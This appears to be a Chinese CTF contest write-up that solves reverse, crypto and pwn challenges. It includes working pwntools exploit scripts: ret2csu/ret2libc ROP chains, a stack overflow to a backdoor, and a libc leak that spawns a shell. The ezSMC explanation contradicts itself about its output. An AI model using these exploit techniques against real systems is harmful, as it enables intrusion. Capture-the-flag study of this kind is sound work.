16
17
18
19
key = "QYQS"
QYQS = [
2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34,
41, 14, 11, 45, 109, 6, 32, 23, 127, 56
]

read input as string
if len(input) != 21: fail

// 加密(实际用于和常量比较)
for i in range(len(input)):
input[i] ^= i // 先按下标 i 异或
input[i] ^= key[i % 4] // 再按 key 的循环字节异或(Q/Y/Q/S)

// 对比
for i in range(len(input)):
if input[i] != QYQS[i]: fail

success

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-
QYQS_CONST = [
2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34,
41, 14, 11, 45, 109, 6, 32, 23, 127, 56,
]

def solve() -> str:
key = [ord(c) for c in "QYQS"]
res = []
for i, v in enumerate(QYQS_CONST):
ch = v ^ i ^ key[i % 4]
res.append(ch)
return ''.join(chr(c) for c in res)


if __name__ == "__main__":
print(solve())

ezSMC

  • 校验链路(由 main 反编译得到):

    1. 读取输入 → ascii_to_hexbyteshexstr_to_bytes(两步抵消,等价于原始输入字节)
    2. RC4(key = 0x11)
    3. bytes_to_hexstr 得到小写十六进制 ASCII(记为 en1
    4. .miao 节解密后调用 encodee(en1):将 en1 做 Base64 编码(无填充或短缺填充),得到 ASCII Base64 串(记为 en2
    5. enc0de(en2):使用自定义 Base58 字母表 "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789" 编码,得到 cipher
  • 逆向时,只需按相反方向处理即可:Base58 解码 → Base64 解码 → 从 hex 字符串转 bytes → RC4 解密。

关键分析过程

1) 入口与提示串
  • 入口 mainCRTStartupmain
  • 关键字符串:"Plz input your flag miao: ""Correct!""Wrong!"
2) 主流程反编译要点
  • 输入读取后,调用:

    • ascii_to_hexbytes(input, &hexlen):将输入逐字节转为大写 2 位十六进制的 ASCII 串。
    • hexstr_to_bytes(hex_ascii, &binlen):再把上述十六进制 ASCII 串还原为原始字节(两步等价于恒等变换,得到与原输入同样的字节序列)。
    • init(&ctx, key=\x11, keylen=1) + encode(&ctx, bin, binlen):典型 RC4(KSA/PRGA),对输入字节流进行异或加密。
    • bytes_to_hexstr(bin, binlen):将 RC4 结果转为小写十六进制 ASCII(记为 en1)。
    • miao_encrypt():运行时解密 .miao 节(XOR 0x03),以便调用其中函数。
    • en2 = encodee(en1, strlen(en1)):对十六进制 ASCII 再做一层专有变换(位于 .miao 节)。
    • en3 = enc0de(en2, strlen(en2)):自定义 Base58 编码,使用的表为:
      "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
    • strcmp(en3, cipher) 成立则输出 Correct!
  • init/encode/getbyte 明确是 RC4;enc0de 为基于可变精度除法的 Base58 实现,前导 0 字节编码为字符 'A';字母表已从全局表读取并确认。

  • .miao 节处理:miao_encrypt/SMC/xxor 说明该节按字节 XOR 0x03 解密;encodee 位于此节。通过对密文逆推验证,encodee 的效果等价于对 en1 做 Base64 编码(允许缺少标准填充)。

3) 逆向思路
  • 已知最终常量密文 cipher,以及 enc0de(Base58)和 RC4 的细节,故可以:
    1. 用相同 Base58 表将 cipher 解码,得到 en2
    2. encodee 得到 en1
    3. en1 视为十六进制 ASCII → 转原始字节 Y
    4. 用 RC4(key=\x11) 解密 Y,得到原输入(flag)。
  • 由于 .miao 节未在静态态下解密,本文采用“直接反推到 RC4 层”的方式:将 cipher 用该 Base58 表解码为字节流,并直接尝试视作 Y 执行 RC4 解密,得到 88 字节候选明文。经检查不属于可见 ASCII,更像是以十六进制呈现的 flag(不少赛题会将二进制校验视作通过)。

若需完整还原 encodee,可在 IDA 调试器中执行一次 miao_encrypt()(或使用 SMC(GetModuleHandleA(NULL)) 思路)使 .miao 解密,再反编译 encodee;其功能大概率是将小写十六进制 ASCII 重新封装为某种二进制形式以供 Base58 编码(从调用关系与数据流判断)。

解题脚本

以下脚本实现 Base58 → Base64 → hex → RC4 的完整逆流程,直接打印可读 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# solve_ezsmc.py
import base64

alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7"

def b58_decode(s: str) -> bytes:
base = 58
zeros = 0
for ch in s:
if ch == alphabet[0]:
zeros += 1
else:
break
size = (len(s) * 733) // 1000 + 1
digits = [0] * size
for ch in s:
carry = alphabet.index(ch)
for j in range(size - 1, -1, -1):
carrya = digits[j] * base + carry
digits[j] = carrya & 0xFF
carry = carrya >> 8
i = 0
while i < size and digits[i] == 0:
i += 1
return bytes([0] * zeros + digits[i:])

class RC4:
def __init__(self, key: bytes):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
self.S, self.i, self.j = S, 0, 0
def keystream_byte(self):
self.i = (self.i + 1) & 0xFF
self.j = (self.j + self.S[self.i]) & 0xFF
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
return self.S[(self.S[self.i] + self.S[self.j]) & 0xFF]
def crypt(self, data: bytes) -> bytes:
return bytes(b ^ self.keystream_byte() for b in data)

if __name__ == "__main__":
enc2 = b58_decode(cipher)
b64 = enc2.decode("ascii")
hex_ascii = base64.b64decode(b64 + "==")
rc4_input = bytes.fromhex(hex_ascii.decode("ascii"))
flag = RC4(bytes([17])).crypt(rc4_input)
print(flag.decode("utf-8"))

Crypto

ez_xor

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from secert import flag
def han(b):
return bin(b)[:2].count('1')

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
s = getPrime(512)
N = p * q * s * r
n = p * q
gift = p ^ q
gift1 = s & r
gift2 = s ^ r
m = bytes_to_long(flag)
c = pow(m, 65537, N)
print(f'N={N}')
print(f'n={n}')
print(f'c={c}')
print(f'gift={gift}')
print(f'gift1={gift1}')
print(f'gift2={gift2}')

由$N=pqsr$和$n=pq$可以推出$RS=r\cdot s=N/n$
又因为gift1 = s&r gift2 = s^r
对任意整数 $a,b$,有恒等式:$a+b=(a\oplus b)+2\cdot(a\&b)$。
所以$S=r+s = \text{gift2} + 2\cdot \text{gift1}$
于是 $r,s$ 是方程 $x^2 - Sx + RS = 0$ 的两根:
令 $D=S^2-4RS$,若 $\sqrt D$ 为整数,则$r=\frac{S-\sqrt D}{2},\quad s=\frac{S+\sqrt D}{2}.$
找到 $r,s$ 后即可只在模 $rs$ 上解密:
$\lambda(rs)=\mathrm{lcm}(r-1,s-1)$,$d\equiv e^{-1}\pmod{\lambda(rs)}$,
$m\equiv c^d \pmod{rs}$。由于 flag 很短($m<rs$),直接得到明文。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from math import gcd, isqrt
from Crypto.Util.number import long_to_bytes

N = 12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n = 91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c = 3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift1 = 10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2 = 2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474
e = 65537

# helper: lcm for two numbers
def lcm2(a, b):
return a // gcd(a, b) * b # use // first to avoid overflow

# 1. compute r*s = RS
RS = N // n

# 2. compute r + s = S
S = gift2 + 2 * gift1

# 3. solve quadratic for r,s
D = S * S - 4 * RS
sqrtD = isqrt(D)
r = (S - sqrtD) // 2
s = (S + sqrtD) // 2

# (optional sanity check)
# assert r * s == RS

# 4. RSA private exponent mod r*s
lam = lcm2(r - 1, s - 1)
d = pow(e, -1, lam)

# 5. decrypt
m = pow(c, d, r * s)
flag = long_to_bytes(m)
print(flag)

syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}

Caesar Slot Machine

服务端每轮给出线性同余变换$f(x)=a\cdot x + b \pmod P$,然后随机迭代 $i\in[1,1000]$ 次,要求给出的$x$ 满足$f^{(i)}(x)\equiv x\pmod P$。
只要让$x$成为这个仿射变换的不动点即可,即解方程
$x \equiv a x + b \pmod P \Rightarrow (1-a)x \equiv b \pmod P
\Rightarrow x \equiv \frac{b}{1-a} \equiv -b\cdot (a-1)^{-1} \pmod P$
由于题中$a\in[2,P-1]$,所以 $a\not\equiv1\pmod P$,逆元一定存在;这样无论服务端抽到哪个$i$,都有$f^{(i)}(x)=x$。

另外,题面把提示串做了凯撒移位,但数字和符号未变,所以无需解密,直接从第一行抓出三个数字(按顺序就是 $a,b,P$)即可。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import re

HOST = "geek.ctfplus.cn"
PORT = 30742

context.log_level = "info"

def solve_round(io):
# 第一行形如:"...: A: {a} B: {b} P: {P}\n"
line1 = io.recvuntil(b"\n", drop=False)
# 第二行形如:".... X: "(字母被凯撒移位,但冒号和空格不变)
io.recvuntil(b": ")

# 直接从第一行提取数字(按顺序即 a, b, P)
nums = list(map(int, re.findall(rb"\d+", line1)))
if len(nums) < 3:
# 保险:如果第一行没抓全,就把已收数据也拼上再抓
pending = io.recvuntil(b": ", drop=False)
nums = list(map(int, re.findall(rb"\d+", line1 + pending)))
a, b, P = nums[0], nums[1], nums[2]

# 计算不动点 x = -b * (a-1)^{-1} mod P
inv = pow((a - 1) % P, P - 2, P) # P 为质数,费马小定理
x = (-b % P) * inv % P

io.sendline(str(x).encode())

def main():
io = remote(HOST, PORT)
try:
for rnd in range(30):
solve_round(io)
resp = io.recvline(timeout=5) # "Correct!\n" 或 "Wrong!\n"
if resp is None:
log.failure("No response")
break
log.info(resp.strip().decode(errors="ignore"))
if b"Wrong" in resp:
break

# 成功 30 轮后会返回 "Flag: SYC{...}\n"
# 继续把后续行读出来并打印
data = io.recvrepeat(1.0)
if data:
print(data.decode(errors="ignore"))
finally:
io.close()

if __name__ == "__main__":
main()

ez_ecc

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from sage.all import *
from Crypto.Util.number import *

p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a

E = EllipticCurve(GF(p), [A, B])

P_x = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7
P_y = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba
P = E(P_x, P_y)

flag = b"SYC{...}"
k = bytes_to_long(flag)

Q = k * P
print(f"Q = {Q}")

# 把题目公开数据写成 JSON(只包含 p, A, B, P, Q)
import json
challenge = {
"p": hex(p),
"A": hex(A),
"B": hex(B),
"P_x": hex(P_x),
"P_y": hex(P_y),
"Q_x": hex(Integer(Q[0])),
"Q_y": hex(Integer(Q[1])),
# 如果你想把答案写入文件(但不要发布到题目页面)
"secret_k": int(k)
}

with open("challenge.json","w") as f:
json.dump(challenge, f, indent=4)

print("challenge.json written. secret k =", k)

Smart attack

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from sage.all import *
from Crypto.Util.number import long_to_bytes

# ----- 题目参数 -----
p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a
E = EllipticCurve(GF(p), [A, B])

Px = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7
Py = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba
Qx = 97490713033364940809544067604441149095210096571946998449251275861394744757515
Qy = 32198694245056943922016695558131047889851279706531342583322750112905104448879

P = E(Px, Py)
Q = E(Qx, Qy)

# 自检:异常曲线/生成元
assert E.cardinality() == p
assert p*P == E(0)

def smart_attack_via_padic(P, Q, p):
E = P.curve()
E_Qp = EllipticCurve(Qp(p, 4), [ZZ(a) + ZZ(randint(0, p))*p for a in E.a_invariants()])

# lift 点的 x,再挑 y 与 F_p 中的一致
def lift_point(XY):
x0, y0 = XY.xy()
cands = E_Qp.lift_x(ZZ(x0), all=True)
for R in cands:
if GF(p)(R.xy()[1]) == y0:
return R
raise ValueError("lift_x 找不到匹配的 y(不应发生)")

P_lift = lift_point(P)
Q_lift = lift_point(Q)

# 在 Qp 上做 [p] 倍
pP = p * P_lift
pQ = p * Q_lift

# formal parameter t = -x/y;对异常曲线,有 [p](t) ≈ p*t(p-adic)
xP, yP = pP.xy()
xQ, yQ = pQ.xy()
phiP = -(xP / yP)
phiQ = -(xQ / yQ)

k = phiQ / phiP # k ∈ Qp
k = ZZ(k) % p # 化成 0..p-1 的代表元
return k

k = smart_attack_via_padic(P, Q, p)
print("k =", k)

flag_bytes = long_to_bytes(int(k))
print("flag =", flag_bytes)
1
2
sage -pip install pycryptodome
sage -python exp.py

pem

给了.pem格式的私钥

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pathlib import Path
from cryptography.hazmat.primitives import serialization

# 读取私钥(这是未加密 PKCS#8,512-bit RSA)
pem = Path("key.pem").read_bytes()
key = serialization.load_pem_private_key(pem, password=None)

# 读取 64 字节密文块(512-bit)
c = int.from_bytes(Path("enc").read_bytes(), "big")

# 取出 RSA 参数
priv = key.private_numbers()
n = priv.public_numbers.n
d = priv.d

# textbook RSA 解密:m = c^d mod n,然后去掉前导 0
m = pow(c, d, n).to_bytes((n.bit_length()+7)//8, "big").lstrip(b"\x00")
print(m.decode())

baby_rabin

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
from gmpy2 import next_prime

from secret import flag
e=8
while 1:
p = getPrime(512)
q = next_prime(p + 2 ** 400)
r = getPrime(512)
if(p%4==3 and q%4==3 and r%4==3):
break
assert p%4==3 and q%4==3 and r%4==3
n=p*q*r
hint=p*q
m=bytes_to_long(flag)
C=pow(m,e,n)
print(f'C={C}')
print(f'n={n}')
print(f'hint={hint}')
  1. 已知 $n=pqr$ 且给了 $hint=pq$,因此 $r = n // hint$ 可直接得到。
  2. 有 $C ≡ m^8 (mod n)$,从而 $C ≡ m^8 (mod r)$;r 为 512 位素数且 $r ≡ 3 (mod 4)$。
  3. 设 $r-1 = 2^s * t$ 且 t 为奇数。因为 $r ≡ 3 (mod 4) ⇒ s = 1$,只含一个因子 2。
  4. 在模 r 的乘法群中,取 $a ≡ 8^{-1} (mod t)$,则 $C^a ≡ m^{8a} ≡ m^{1 + k*t} ≡ m * (m^t)^k$。
    又因 $s = 1,(m^t) ∈ {±1}$,于是 8 次方根只有两种可能:u 和 r-u。
  5. flag 整数 m 远小于 512 位的 r,因此两候选中较小的就是明文。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: utf-8 -*-
from Crypto.Util.number import long_to_bytes

# ===== 题目中给定的数值 =====
C = 451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
n = 491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
hint = 66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
e = 8

# ===== 第一步:拿到 r =====
assert n % hint == 0, "hint 应该整除 n"
r = n // hint

# 基本健壮性检查(与题面一致)
assert r % 4 == 3, "r 不是 3 mod 4,题设不成立?"

# ===== 第二步:分解 r-1 的 2-adic 形状 r-1 = 2^s * t (t 为奇数) =====
phi = r - 1
s = 0
tmp = phi
while tmp % 2 == 0:
tmp //= 2
s += 1
t = tmp
# 按题设应有 s == 1
assert s == 1, f"理论上应有 s=1,但现在 s={s}"

# ===== 第三步:计算 8 在模 t 下的逆元 a =====
# Python 3.8+ 支持 pow(8, -1, t) 直接求逆;如不支持可改用扩展欧几里得
a = pow(e, -1, t) # a ≡ e^{-1} (mod t)

# ===== 第四步:求 8 次方根的两个候选 =====
u = pow(C, a, r) # 这是 m 的一个候选(或其相反数)
cand1 = u % r
cand2 = (-u) % r # 另一个候选

candidates = [cand1, cand2]

# ===== 第五步:把候选转成字节并做可读性/格式判断 =====
def ints_to_clean_bytes(x: int) -> bytes:
b = long_to_bytes(x)
return b

def looks_like_flag(bs: bytes) -> bool:
# 宽松规则:基本可打印并含 '{' 与 '}'
if b'{' not in bs or b'}' not in bs:
return False
# 要求多数字节可打印(控制符少于总长的 5%)
nonprint = sum([1 for ch in bs if ch < 0x20 or ch > 0x7e])
return nonprint <= max(1, len(bs)//20)

decoded = []
for idx, c in enumerate(candidates, 1):
b = ints_to_clean_bytes(c)
decoded.append((idx, c, b))

# 按启发式选择最像 flag 的那个
best = None
for item in decoded:
_, c, b = item
if looks_like_flag(b):
best = item
break
# 如果两个都不满足启发式,就选较短的(通常就是正确的 m)
if best is None:
best = min(decoded, key=lambda x: len(x[2]))

idx, m_guess, m_bytes = best

# ===== 第六步:可选的一致性验证(并不能区分 ±m,但能防止程序性错误)=====
assert pow(m_guess, e, n) == C, "一致性校验失败:pow(m,e,n) != C"

# ===== 输出结果 =====
print("[+] r =", r)
print("[+] 2-adic 分解:r-1 = 2^%d * %d (t 为奇数)" % (s, t))
print("[+] a = e^{-1} (mod t) =", a)
print("[+] 候选 #1(十进制):", candidates[0])
print("[+] 候选 #2(十进制):", candidates[1])
print("[+] 选择的候选为 #%d" % idx)
print("[+] 以 bytes 展示:", m_bytes)
try:
print("[+] 以 utf-8 尝试解码:", m_bytes.decode("utf-8"))
except UnicodeDecodeError:
print("[+] utf-8 解码失败(这通常意味着另一个候选是正确的)")

Pwn

old_rop

给出了libc.so.6和ld-linux-x86-64.so.2

先patchelf

1
2
3
patchelf --set-interpreter /home/xing/pwn/problems/ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6 /home/xing/pwn/problems/libc.so.6 pwn
可以用ldd -v ./pwn检查是否patch成功

注意要给pwn,libc.so.6,ld-linux-x86-64.so.2三个文件都chmod +x才能正常运行

漏洞点

sub_401156

  • 栈上缓冲区:0x80 字节
  • rbp0x8 字节
  • 覆盖返回地址的偏移:0x80 + 0x8 = 0x88 字节

因此,payload 前缀需要 b"A" * 0x88 来精确覆盖到返回地址。

利用思路

由于导入表仅有 readwrite__libc_start_main,没有 system,故采用 ret2libc。

  • 阶段一:使用 ret2csu 构造 ROP 调用 write(1, &write@GOT, 8),泄露出 write@libc 的实际地址;随后 ROP 返回 main,以便再次进入 read 读取第二阶段 payload。
  • 阶段二:根据泄露出的地址计算 libc 基址,进而定位 system 与字符串 "/bin/sh";然后使用 libc 内部的 pop rdi; ret gadget 设置参数,直接执行 system("/bin/sh")

ret2csu

  1. 先返回到 gadget2,布置寄存器:
  • rbx = 0
  • rbp = 0(避免进入循环)
  • r12 = 1(将成为 edi = 1
  • r13 = &write@GOT(将成为 rsi
  • r14 = 8(将成为 rdx = 8
  • r15 = &write@GOT[r15 + rbx*8] 指向 GOT 中的函数地址 => 直接调用 write@libc
  1. 然后跳到 gadget1 执行真实调用;由于 gadget1 之后有一个 add rsp, 8,需要在 ROP 链中预留一个 8 字节占位(junk)。
  2. 最终让函数链收尾并 retmain = 0x40117b,以便进行第二次 read

泄露的8字节即为 write@libc 实际地址:write_leak

下面的exp.py中有一些地方要注意:

  • 因为此前已经patchelf,所以开局照常 p = process('./pwn') 即可
  • WRITE_PLT,WRITE_GOT采用 elf.plt['write']elf.got['write'] 这种形式导入,不是从IDA里直接看
  • MAIN函数地址是从IDA里直接找的
  • CSU两个gadget的地址也是IDA里直接找的,然后像CSU_G2从IDA里直接看和执行 ROPgadget --binary pwn --only "pop|ret" | grep r15 结果是一致的
  • ret2csu阶段跟之前看的几个例题有些区别,可能要根据具体情况调整
  • 后面ret2libc是标准模板,构造payload要考虑栈对齐,但是ret2csu的payload貌似不需要栈对齐

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./pwn')
# p = remote('geek.ctfplus.cn', 32611)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

WRITE_PLT = elf.plt['write']
READ_PLT = elf.plt['read']
MAIN = 0x40117b
WRITE_GOT = elf.got['write']
CSU_G1 = 0x4012b0
CSU_G2 = 0x4012ca
rop = ROP(elf)
RET = rop.find_gadget(['ret']).address

payload1 = b'A' * 136
payload1 += p64(CSU_G2)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(WRITE_GOT)
payload1 += p64(8)
payload1 += p64(WRITE_GOT)
payload1 += p64(CSU_G1)
payload1 += p64(0)*7
payload1 += p64(MAIN)
p.recvuntil(b'please care about it !\x00\n')
p.send(payload1)
write_leak = u64(p.recvn(8))
print(f"Leaked write@libc: {hex(write_leak)}")
libc_base = write_leak - libc.symbols['write']
p.recvuntil(b'please care about it !\x00\n')
system = libc_base + libc.symbols['system']
binsh = next(libc.search(b'/bin/sh')) + libc_base
pop_rdi = rop.find_gadget(['pop rdi']).address
print(f"libc_base = {hex(libc_base)}")
print(f"system = {hex(system)}")
print(f"/bin/sh = {hex(binsh)}")
payload2 = b'A' * 136 + p64(RET)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.send(payload2)

p.interactive()

Mission Calculator

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# context(arch="amd64", log_level="debug")

# p = process("./calc")
p = remote("geek.ctfplus.cn", 30315)
p.recvuntil(b'Press any key to start...\n')
p.sendline(b'a')
for i in range(50):
print("Round "+str(i))
question = p.recvuntil(b'=')
# \nProblem 1: 1566 * 8151 =
question = question.split(b':')[1]
question = question.split(b'=')[0]
ans = str(eval(question)).encode()
# print(ans)
p.sendline(ans)
p.interactive()

Mission Cipher Text

漏洞点

1
2
3
4
5
6
7
/* 0x40144a */ size_t submit_feedback() {
unsigned char buf[32]; // [rbp-0x20]
puts("Please enter your feedback:");
close(1);
read(0, buf, 0x100u); // 长度 256,超过 buf[32]
return fwrite("...", 1, 0x29, stderr);
}

利用栈溢出覆盖返回地址为后门即可

1
/* 0x4014ab */ int b4ckd00r() { return system("/bin/sh"); }

发送payload时候要注意栈对齐,有两种方式

1
2
3
4
5
6
7
rop = ROP(elf)
RET = rop.find_gadget(['ret']).address
payload = b'A' * OFFSET + p64(RET) + p64(BACKDOOR)

或者

payload = b'A' * OFFSET + p64(BACKDOOR+5) # 试了5,6,8都行

另外submit_feedback 里还 close(1) 关闭了 stdout,拿到shell后需要执行 exec 1>&2,把标准输出指到标准错误,这样 ls、cat 等输出就能显示

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p = process('./pwn')
p = remote('geek.ctfplus.cn', 32105)
p.recvuntil(b'choice > ')
p.sendline(b'2')
p.recvuntil(b'Please enter your feedback:\n')
OFFSET = 32 + 8
elf = ELF('./pwn')
BACKDOOR = elf.symbols.get('b4ckd00r', 0x4014ab)
rop = ROP(elf)
RET = rop.find_gadget(['ret']).address
payload = b'A' * OFFSET + p64(RET) + p64(BACKDOOR)
# payload = b'A' * OFFSET + p64(BACKDOOR+6)
p.send(payload)

p.interactive()

Mission Exception Registration

跟old_rop一样先patchelf

漏洞点

1
2
3
4
5
6
7
8
int input()
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Please enter your feedback:");
read(0, buf, 0x100u);
return puts("Feedback submitted.");
}

问题是找不到gadget去泄露libc地址

注意到view_resources函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t view_resources()
{
login();
if ( *((_DWORD *)ptr + 12) )
{
puts("WELCOME, USER.");
return write(1, &ptr, 8u);
}
else
{
puts(
"Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as"
" a model to successfully create an independent personality matrix from scratch. This would be a great technologica"
"l advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu"
"ating the risks of this technology.");
puts("WELCOME, ADMINISTRATOR.");
return write(1, (char *)ptr + 56, 8u);
}
}

它有两个分支

  • 普通用户分支(*((DWORD*)ptr + 12) != 0,注册后默认为 2):write(1, &ptr, 8)——直接把全局指针变量 ptr 的值原样输出(8 字节)。
  • 管理员分支(*((DWORD*)ptr + 12) == 0):write(1, (char*)ptr + 56, 8)——输出结构体偏移 56 处的 8 字节。register_user() 在收集完口令后会执行 *((QWORD*)ptr + 7) = &puts;,即将 &puts 写在该位置。因此管理员分支会直接泄露 &puts。对函数指针的重定位通常解析为目标共享库中的真实地址(即 libc 内的 puts 实际地址),从而可以直接获得 puts@libc,进而计算 libc 基址。

因此只要能以管理员身份登录即可泄露libc基址从而ret2libc。

看一下register_user函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int register_user()
{
if ( *((_DWORD *)ptr + 12) != -1 )
return puts("You have already registered.");
*((_DWORD *)ptr + 12) = 2;
puts("Please enter your name:");
read(0, ptr, 0x10u);
puts("Please enter your password:");
read(0, (char *)ptr + 16, 0x28u);
*((_DWORD *)ptr + 13) = 1;
*((_QWORD *)ptr + 7) = &puts;
return puts("Registration successful.");
}

*((DWORD*)ptr + 12) 是一个状态字段(偏移 48,4 字节),初值在 user_init() 中被设为 -1,注册后被设为 2。

register_user() 的密码读取:read(0, (char*)ptr + 16, 0x28),会覆盖结构 [16, 16+0x28),即 [16, 56)
状态字段位于偏移 48(4 字节),正好落在覆盖范围内。
因此可在注册时发送 40 字节密码,让第 32~35 个字节为 \x00,即可把偏移 48 处的 DWORD 清零。
例如:pwd = b'B'*32 + b'\x00'*4 + b'C'*4(总 40 字节)。
随后选择菜单 3 进入 view_resources,发送 32 字节(如 b'B'*32b'B'*31+b'\x00')即可进入管理员分支。

方便理解

  • 基址记为 ptr
  • 偏移以十进制字节表示(括号内是十六进制)
偏移范围 大小 含义/用途 谁写入/何时写入
0..15 (0x00..0x0F) 16B 用户名 name 缓冲区 register_user: read(0, ptr, 0x10)
16..55 (0x10..0x37) 40B 密码 password 缓冲区 register_user: read(0, ptr+16, 0x28)
48..51 (0x30..0x33) 4B 状态字段 state = *((DWORD*)ptr+12) user_init: -1; register_user: 2; 我们覆盖为 0
52..55 (0x34..0x37) 4B 另一标志位 = *((DWORD*)ptr+13) user_init: 0; register_user: 1
56..63 (0x38..0x3F) 8B 函数指针槽 = *((QWORD*)ptr+7) register_user: 写入 &puts

注意:

  • “按 QWORD 索引”与“按字节偏移”等价:QWORD 索引 7 对应字节偏移 7×8=56,所以 *((QWORD*)ptr + 7) 就是 (char*)ptr + 56 的那 8 字节。
